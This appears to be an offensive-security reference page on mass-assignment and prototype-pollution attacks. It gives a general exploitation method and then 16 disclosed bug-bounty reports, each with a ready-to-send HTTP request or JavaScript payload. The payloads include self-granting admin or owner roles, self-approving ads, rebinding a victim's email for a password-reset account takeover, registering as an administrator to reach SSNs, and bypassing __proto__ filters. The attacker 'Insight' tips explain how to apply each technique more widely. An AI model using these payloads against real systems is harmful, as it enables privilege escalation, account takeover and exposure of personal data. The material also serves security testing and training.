⚠ Thin coverage — only 16 disclosed reports for this class; illustrative, not exhaustive.
Mass assignment (a.k.a. autobinding / over-posting) happens when a create or update endpoint binds attacker-supplied request keys straight onto a server object with no field allowlist. The UI submits name and bio; the controller does model.update(request.body); so you append one extra key the UI never sends — admin, role, status, approval, visibility, permissions, or the account's own email — and the server dutifully writes it.
# 1. Read the object, capture every attribute name
GET /api/v2.0/accounts/ID/ads/AD_ID
# response reveals: admin_approval, effective_status, configured_status, ...
# 2. Replay the normal write, appending privileged keys (best-first):
# admin is_admin role user_type is_staff owner owner_id permissions[]
# status active state public approval admin_approval effective_status
# verified visibility plan price seats votes package_name
The account's own model is bound whole on a profile save. Add the role/privilege field you saw in the read response. Watch the Content-Type — some stacks filter form-encoded params but auto-bind the JSON path.
POST /account/update HTTP/1.1
Content-Type: application/json; charset=UTF-8
X-CSRF-Token: VALID
{"name":"cur","bio":"cur","admin":true}
PATCH /api/v2.0/accounts/ID/ads/AD_ID HTTP/1.1
Content-Type: application/json
{"data":{"configured_status":"ACTIVE","effective_status":"ACTIVE","admin_approval":"APPROVED"}}
POST /account/info/bio/v1 HTTP/1.1
x-auth-token: VICTIM_TOKEN
Content-Type: application/json
{"first_name":"cur","last_name":"cur","email":"attacker@COLLAB","role":"OWNER"}
POST /ORG/stores/create_managed_store HTTP/1.1
Content-Type: application/json
{"message":"","permissions":["applications","customers","orders","edit_orders","view_billing_details","edit_private_apps"],"store_domain":"myStore1"}
# Entitlement gated only in the UI — send it verbatim, server never re-checks the plan
POST /workspaces/WORKSPACE_ID/projects HTTP/1.1
Content-Type: application/json
{"description":"x","visibility":"Personal","initial_message":{"message":"x","files":[]}}
POST /newuser.cfm?loc_class=L HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user_type=4&fname=Test&lname=Test&ssn=VALID_UNUSED_SSN
mutation AutosavePentestOpportunity($input: AutosavePentestOpportunityInput!) {
autosavePentestOpportunity(input: $input) { was_successful }
}
# add to $input: "package_name": "premium_p80"
An object hidden from the UI still has a standard REST route. Guess /{resource}/{id}/edit, diff a normal update body, and append the privileged attribute (admin, role, owner). The change can be invisible to other admins if the column isn't rendered for that object type.
POST /users/USER_ID HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[email]=attacker@COLLAB&user[admin]=1
// deep-merge sink ($.extend deep, lodash merge, dot-prop, ...):
merge({}, JSON.parse('{"__proto__":{"polluted":true}}'));
console.log({}.polluted); // true -> pollutes Object.prototype
// dotted-path setter sink:
set(obj, '__proto__.isAdmin', true);
console.log({}.isAdmin); // true
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 16 in this class.
Real-world example
Privilege escalation by tampering role parameter at registration
◆ Critical
Specimen #796379 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain self-register as admin -> read all applicants' PII/SSNs -
Root cause
The registration request accepts a client-supplied user_type/role parameter that the server trusts, so submitting a privileged value self-provisions an administrator account.
Method
- Start a normal self-registration and intercept the submit request
- Change user_type to a privileged value (e.g. 4)
- Complete registration and log in with administrator access to all applicant PII/SSNs
POST /.../newuser.cfm?loc_class=L
...&user_type=4&fname=Test&lname=Test&ssn=VALID_UNUSED_SSN
Insight — Intercept every account-creation/profile-update request and look for role/type/is_admin/permission fields to overwrite (mass assignment). Servers frequently bind whatever the client sends. Enumerate role integer values to find privileged tiers.
Real-world example
Client sets server-owned approval/status fields
◆ High
Specimen #1543159 · reddit · 5000 · 189 votes · resolved
Program redditSurface api
Root cause
The ads PATCH endpoint accepted admin_approval and effective_status in the body and honored them, letting a user self-approve a campaign and mark it ACTIVE without review or payment.
Method
- Create a campaign (status PENDING)
- PATCH the ad with {configured_status:ACTIVE, effective_status:ACTIVE, admin_approval:APPROVED}
- Campaign goes live, approval email received, no payment/review
PATCH /api/v2.0/accounts/<id>/ads/<id>
{"data":{"configured_status":"ACTIVE","effective_status":"ACTIVE","admin_approval":"APPROVED"}}
Insight — Enumerate object fields (from GET responses) and try setting server-authoritative workflow fields (approval, status, role, is_admin, verified, price) in write requests. Mass-assignment of state fields bypasses review/payment gates.
Real-world example
Prototype pollution __proto__ blacklist bypass via constructor.prototype
◆ High
Specimen #968355 · nodejs-ecosystem · none · 10 votes · resolved
Program nodejs-ecosystemSurface otherTag file-upload
Root cause
A deep-merge guard that only skips the literal key '__proto__' still recurses into 'constructor' and 'prototype', so the payload constructor.prototype.X reaches Object.prototype and pollutes it despite the blacklist.
Method
- Identify a merge/extend sink that appears patched because it rejects __proto__.
- Send the alternate traversal path through constructor.prototype instead.
- Confirm pollution on a fresh object.
// i18next deepExtend skips '__proto__' only:
deepExtend({}, JSON.parse('{"constructor":{"prototype":{"polluted":true}}}'), true);
console.log({}.polluted); // true
// path-setter form (property-expr):
setter('constructor.prototype.isAdmin')(obj, true);
console.log({}.isAdmin); // true
Insight — When a __proto__ filter exists, always retry with constructor.prototype (and mix key casing/Unicode). A blacklist that names only __proto__ is almost always incomplete. Proper fixes null-proto the map, use Map, or reject constructor/prototype and hasOwnProperty-check before recursing.
Real-world example
Rails _destroy flag bypasses reject_if validation (CVE-2015-7577)
◆ High
Specimen #90457 · rails · awarded · 9 votes · resolved
Program railsSurface webTag account-takeover
Root cause
In accepts_nested_attributes_for, the presence of a _destroy flag skipped the :reject_if proc on the assumption the record would be destroyed; when allow_destroy:false the record is NOT destroyed, so rejected/invalid nested changes get applied anyway.
Method
- Find a form/endpoint using accepts_nested_attributes_for with reject_if and allow_destroy:false
- Submit nested attributes that reject_if would normally reject, plus _destroy=1 (or true)
- reject_if is skipped, allow_destroy:false prevents deletion, so the otherwise-rejected values are written
# nested params that reject_if would block, smuggled past it:
user[posts_attributes][0][title]=<invalid/blank>
user[posts_attributes][0][_destroy]=1
Insight — When testing Rails nested attributes / mass-assignment, always add a _destroy parameter to nested objects; it can flip validation logic and let you clear or set fields the app intended to reject.
Real-world example
UI-locked email editable via API mass-assignment -> password-reset ATO chain
◆ Medium
Specimen #3766455 · yelp · awarded · 70 votes · resolved
Program yelpSurface apiChain session token -> mass-assign email -> forgot-password Tag graphqlTag account-takeover
Root cause
A profile/bio API accepts and applies an 'email' field with no current-password/step-up and no confirmation-to-new-address, even though the UI renders email as read-only and the dedicated password endpoint does enforce old_password; the change silently rebinds the account recovery anchor.
Method
- Capture the Save request of the account screen: POST /account/info/bio/v1 with x-auth-token
- Add "email":"attacker@example.com" to the JSON body and send
- Confirm on an independent backend (GraphQL GetAccountInfo) that private.email changed -> persisted, not echoed
- Chain: POST /account/forgot_password/v1 for the new email, receive the reset link at attacker inbox, set a new password (no old password needed), log in
POST https://biz-app.yelp.com/account/info/bio/v1
x-auth-token: <victim_token>
Content-Type: application/json
{"first_name":"<cur>","last_name":"<cur>","email":"attacker@example.com","role":"OWNER"}
Insight — A field the UI presents as read-only is not protected server-side - resend the write request with the locked field included. When the write target is the email/recovery anchor and the protection is asymmetric (password endpoint guarded, bio endpoint not), a brief session-token hold escalates to permanent ATO via forgot-password. Verify persistence on a second backend to rule out an echo.
Real-world example
Client-supplied visibility field bypasses paid-tier gate
◆ Medium
Specimen #3370430 · lovable-vdp · none · 68 votes · resolved
Program lovable-vdpSurface apiTag account-takeover
Root cause
Project creation trusts a client-supplied visibility value (Personal/Workspace) that is a premium-subscription feature; the server never checks the caller's plan before honoring it.
Method
- Start creating a project and intercept POST /workspaces/{id}/projects
- Set visibility to Personal or Workspace in the JSON body
- Send; response is 201 and the project gets the premium visibility without a subscription
POST /workspaces/{WORKSPACE_ID}/projects
{"description":"landing view","visibility":"Personal","initial_message":{"message":"landing view","files":[]}}
Insight — Premium/entitlement features enforced only in the UI are often accepted verbatim from the request body. On every create/update, inject the fields that paid tiers control (visibility, plan, role, seats) and check whether the server re-validates entitlement server-side.
Real-world example
GraphQL mutation accepts staff-only package_name field
◆ Medium
Specimen #2431495 · security · awarded · 62 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The AutosavePentestOpportunity GraphQL mutation lets the client set package_name (e.g. premium_p80), a field intended to be assigned only by internal reviewing staff; there is no server-side restriction on that input field.
Method
- Create a new Pentest and let the form's autosave mutation fire
- Intercept the AutosavePentestOpportunity mutation and add the extra input field "package_name": "premium_p80"
- Complete/submit the form
- Reopen it (OpportunityStatusQuery) and confirm package_name is set to the attacker-chosen value
mutation AutosavePentestOpportunity($input: AutosavePentestOpportunityInput!){
autosavePentestOpportunity(input: $input){ was_successful }
}
# add to $input: "package_name": "premium_p80"
Insight — GraphQL input objects often accept more fields than the UI submits. Enumerate the mutation's Input type (introspection) and inject privileged/internal fields (package_name, price, status, role, is_staff). Verify persistence via the corresponding query. Similar to #2040756.
Real-world example
Self-grant full permissions via client-controlled permissions array on store creation
◆ Medium
Specimen #1167753 · shopify · awarded · 32 votes · resolved
Program shopifySurface web
Root cause
A staff member limited to add/archive/unarchive development stores can reach the create_managed_store endpoint and supply an arbitrary `permissions` array in the request body, self-assigning every permission the server fails to constrain.
Method
- As a staff member with only store add/archive permission, capture the store-create flow
- POST to /<org>/stores/create_managed_store
- Include a permissions array listing all desired permissions
- Store is created with the elevated permission set
POST /100808/stores/create_managed_store
Content-Type: application/json
{"message":"","permissions":["applications","customers","orders","edit_orders","gift_cards","view_shopify_payments_payouts","view_billing_details","edit_private_apps"],"store_domain":"myStore1","collaborator_access_code":""}
Insight — When creating/updating an object, add fields the UI never sends (permissions, role, is_admin, owner_id). Mass-assignment lets a low-priv actor set attributes the server should control; test every create endpoint with an injected privilege field.
Real-world example
Prototype pollution via unsafe deep-merge / path-setter (__proto__)
◆ Medium
Specimen #719856 · nodejs-ecosystem · none · 10 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> app-specific gadget (default-optioTag file-upload
Root cause
Recursive deep-merge/extend and dotted-path setter utilities walk attacker-controlled keys and write to target[key] without excluding __proto__, so a __proto__ key reaches and mutates Object.prototype, adding a property visible on every object in the process.
Method
- Find a sink that merges/extends/clones user JSON into an object, or a set(obj, path, value) helper that splits a dotted path.
- Feed a JSON body or path whose first key is __proto__ (via JSON.parse so __proto__ is an own enumerable key, not the object's real prototype slot).
- Confirm pollution by reading the injected property off a fresh empty object ({}.polluted).
- Escalate per app: flip a default option/flag, inject a gadget the app later reads (e.g. a template/HTML sink -> XSS, a shell/opts sink -> RCE), or crash with a bad type -> DoS.
// JSON deep-merge sink (dot-prop, utils-extend, extend-merge, objtools, supermixer, plain-object-merge, json8-merge-patch, jQuery $.extend deep):
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
console.log({}.isAdmin); // true
// dotted path-setter sink (dot-prop, nested-property, keyd, object-path-set):
set(obj, '__proto__.polluted', 'yes');
console.log({}.polluted); // 'yes'
// jQuery deep extend:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
Insight — Any library function that does recursive property assignment from user input is a prototype-pollution sink. Test every merge/extend/clone/defaults/set-by-path helper with a __proto__ (and constructor.prototype) key. Use JSON.parse so __proto__ is a real own key; a literal {__proto__:...} just sets the prototype and won't reproduce it.
Real-world example
Forced-browse edit of hidden POS user + user[admin]=1 backdoor
◆ Medium
Specimen #962895 · shopify · awarded · 8 votes · resolved
Program shopifySurface webChain forced browsing -> mass assignment -> persistent adminTag account-takeover
Root cause
Stocky POS users have no edit UI, but the edit endpoint /users/{id}/edit is reachable by forced browsing, and the update accepts an unexposed user[admin] parameter (mass assignment). An app admin can set a POS user's email to one they own and promote it to admin, creating a hidden backdoor account.
Method
- Get a POS user's id by hovering its delete button on /preferences/users
- Open /users/{id}/edit directly (no link exists in UI)
- Set email to an attacker-owned address so the account can set a password
- Intercept the save and append user[admin]=1
POST /users/{user_id}
...
user[email]=attacker@evil.tld&user[admin]=1
Insight — For objects hidden from the UI, guess the standard REST edit/update route (/{resource}/{id}/edit). Then diff a normal update body and try appending privileged attributes (admin, role, is_staff, owner). Missing-from-UI != missing-from-controller.
Real-world example
Rails strong-params bypass: .each returns an unfiltered hash (CVE-2020-8164)
◆ Medium
Specimen #292797 · rails · awarded · 4 votes · resolved
Program railsSurface webChain strong-params bypass -> mass assignment -> privilege e
Root cause
ActionController::Parameters#each yields the underlying unpermitted hash (like to_unsafe_h) instead of a permitted:false Parameters object, so code that iterates params with .each and passes values to a model silently reintroduces unpermitted, attacker-controlled keys.
Method
- Identify a controller that processes params via params.each { |k,v| ... } rather than permit()
- Submit extra parameters not present in the form (e.g. is_admin=true)
- Because .each exposes all keys/values as a plain hash, the extra params flow into the model update
params = ActionController::Parameters.new(city: 'Nijmegen', country: 'Netherlands')
params.each {}
# => {"city"=>"Nijmegen", "country"=>"Netherlands"} (unsafe hash, no permit needed)
# vs params.select { true } => still permitted:false Parameters
# Attacker adds &is_admin=true to a form post; controller's params.each re-exposes it
Insight — When auditing Rails source, grep controllers for params.each / params.map / params.to_a used to build model attributes. These enumerator methods historically leaked the unfiltered hash, defeating strong parameters. Send extra privileged keys (is_admin, role, user_id, verified) and watch for mass assignment.
Real-world example
Hidden status field lets low-priv user toggle object state (banner activate/deactivate)
◆ Medium
Specimen #3678828 · revive_adserver · none · 3 votes · resolved
Program revive_adserverSurface web
Root cause
The banner-edit handler accepted a hidden 'status' form field and applied it based only on the banner-edit permission, with no separate authorization check for activation/deactivation. An advertiser-level user could therefore change a state field they should not control.
Method
- Open the banner edit screen as a low-privilege (advertiser) user.
- Add/modify the hidden 'status' parameter in the edit POST to the desired active/inactive value.
- Submit; the server overwrites banner status because it authorizes only 'edit', not the status change.
POST /www/admin/banner-edit.php HTTP/1.1
... (advertiser session) ...
bannerid=<id>&status=1 # or status=0 to deactivate; hidden field honored without a status-specific permission check
Insight — On edit/update forms, enumerate hidden fields and try tampering state-bearing ones (status, active, role, owner, is_admin). A single coarse 'can edit' check often gates a set of fields that individually deserve their own authorization — classic mass-assignment / parameter tampering.
Real-world example
Prototype pollution via console.table properties argument (Node core, CVE-2022-21824)
◆ Low
Specimen #1431042 · nodejs · none · 15 votes · resolved
Program nodejsSurface otherTag file-upload
Root cause
console.table builds its column map keyed by the caller-supplied properties array without excluding __proto__; passing properties=['__proto__'] with a plain object argument assigns to Object.prototype numeric indices (empty strings), a pollution vector outside the usual merge/set family.
Method
- Locate code that forwards user input into the second (properties) argument of console.table with an object as the first argument.
- Pass ['__proto__'] as properties; add N properties to the first object to write indices 0..N-1.
- Verify Object.prototype[0] === ''.
console.table({foo:'bar'}, ['__proto__']);
// Object.prototype[0] === ''
console.table({a:1,b:1,c:1}, ['__proto__']);
// Object.prototype => { '0':'', '1':'', '2':'' }
Insight — Prototype-pollution sinks are not limited to merge/set utilities. Any API that indexes an object by an untrusted key list (formatters, serializers, table/column builders) can pollute. When auditing, flag any user-controlled key array used to build a keyed map. Control here is weak (only empty strings to numeric keys) so impact is mainly DoS.
Real-world example
Client-side prototype pollution via chart/config deep-merge -> DOM XSS
◆ Low
Specimen #776371 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface webChain client-side prototype pollution -> polluted property readTag file-upload
Root cause
Chart.js recursively merges caller-supplied dataset/options config; its _merger recurses into any object-valued key including __proto__ (it does not hasOwnProperty-check the target key), so attacker-influenced chart config pollutes the browser's Object.prototype.
Method
- Find a client library that deep-merges attacker-influenceable config (chart dataset/options, plugin options, settings).
- Include a dataset/options object with a __proto__ key.
- Read the injected property off {} to confirm; then chain to DOM XSS if the app later reads a polluted property into an HTML/attr sink.
new Chart(ctx, {
type: 'line',
data: { datasets: [ { data:[1,2] }, JSON.parse('{"__proto__":{"abc":"injected"}}') ] },
options: JSON.parse('{"__proto__":{"def":"injected"}}')
});
console.log({}.abc, {}.def); // both 'injected'
// Fix pattern (patch): guard recursion with hasOwnProperty
// if (Object.prototype.hasOwnProperty.call(target, key) && isObject(tval) && isObject(sval)) merge(...)
Insight — Prototype pollution is not server-only: any front-end lib that deep-merges config you can influence is a client-side PP sink, and client-side PP frequently escalates to DOM XSS via a later gadget. Audit chart/UI/config-merge calls the same way as server merges.
Real-world example
Mass assignment on a create method to forge state/visibility/votes/category
◆ Info
Specimen #260632 · legalrobot · awarded · 10 votes · resolved
Program legalrobotSurface api
Root cause
The Meteor /Issues/insert method persists whatever object the client sends without whitelisting fields, so a user can set server-controlled attributes: publish without review (state:Open, public:true), pre-attach votes, or recategorize (type).
Method
- Intercept the create call and add server-controlled fields to the inserted object
- Set state/public to publish without moderation, or populate votes[] with arbitrary IDs, or change type to move the item into a privileged category
- Observe the forged object in the public UI
["{\"msg\":\"method\",\"method\":\"/Issues/insert\",\"params\":[{\"name\":\"x\",\"state\":\"Open\",\"type\":\"feature\",\"public\":true,\"votes\":[\"id1\",\"id2\"]}],\"id\":\"23\"}"]
Insight — On insert/update APIs (esp. Meteor/Mongo/Rails), add fields the UI never sends: state, public, is_admin, owner_id, votes, type. If the server round-trips them, you have mass assignment. Diff a GET response to learn attribute names.
Real-world example
Self-promotion to admin via {"admin":true} mass assignment
◆ Info
Specimen #42961 · x · USD 1400 · 5 votes · resolved
Program xSurface api
Root cause
The account update endpoint binds request JSON directly to the account model without restricting the role/admin field, so a plain member can PUT their own account id with {"admin":true} and become an admin.
Method
- Find your own object id (leaked in the team_members listing response)
- Send a PUT/PATCH to /accounts/{yourId} with the privilege field set true
- Content-Type: application/json is required for the binding to occur; refresh to confirm admin role
PUT /accounts/54aa4ab19ea6961359001260 HTTP/1.1
Host: fabric.io
Content-Type: application/json; charset=UTF-8
X-CSRF-Token: VALID
{"admin":true}
Insight — On any 'update profile/account' endpoint, try adding privilege fields you can observe in GET responses (is_admin, role, admin, is_owner). Backends using auto model-binding frequently accept them. The role field name is usually visible in the read response for the same object.